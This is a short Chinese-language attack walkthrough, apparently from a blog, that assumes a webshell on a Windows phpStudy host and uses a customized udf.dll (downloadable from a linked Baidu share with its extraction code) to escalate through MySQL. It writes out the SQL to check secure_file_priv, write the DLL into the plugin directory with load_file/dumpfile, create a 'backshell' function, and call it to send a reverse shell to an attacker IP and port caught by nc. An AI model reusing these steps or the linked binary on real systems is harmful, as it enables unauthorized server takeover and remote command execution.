链接:https://pan.baidu.com/s/1N9eHd1uiXWox22etDNTmlg 提取码:z5jc
我们所使用的这个udf.dll是被定制过的,其中定义了以下函数。如下图:
部分函数说明:
1. 假设我们已经拿到了webshell,界面如下:
2. 接下来我们上传一下定制的udf.dll
3. 查看当前数据库的secure_file_priv参数
show variables like "secure_file_priv"
4. 我们将定制的udf.dll文件导出
看一下数据库的版本,查询一下导出的目录
select version() show variables like "%plugin%"
导出udf.dll
select load_file('C:/phpStudy/WWW/udf.dll') into dumpfile 'C:/phpStudy/MySQL/lib/plugin/udf.dll'
5. 创建函数
CREATE FUNCTION backshell RETURNS STRING SONAME 'udf.dll'; select name from mysql.func -- 查看一下是否创建成功
6. 调用函数,反弹shell
先nc监听一下
看一下攻击者的ip
调用函数
select backshell("192.168.1.103",50666);
参考文章:https://blog.csdn.net/qq_45290991/article/details/117536250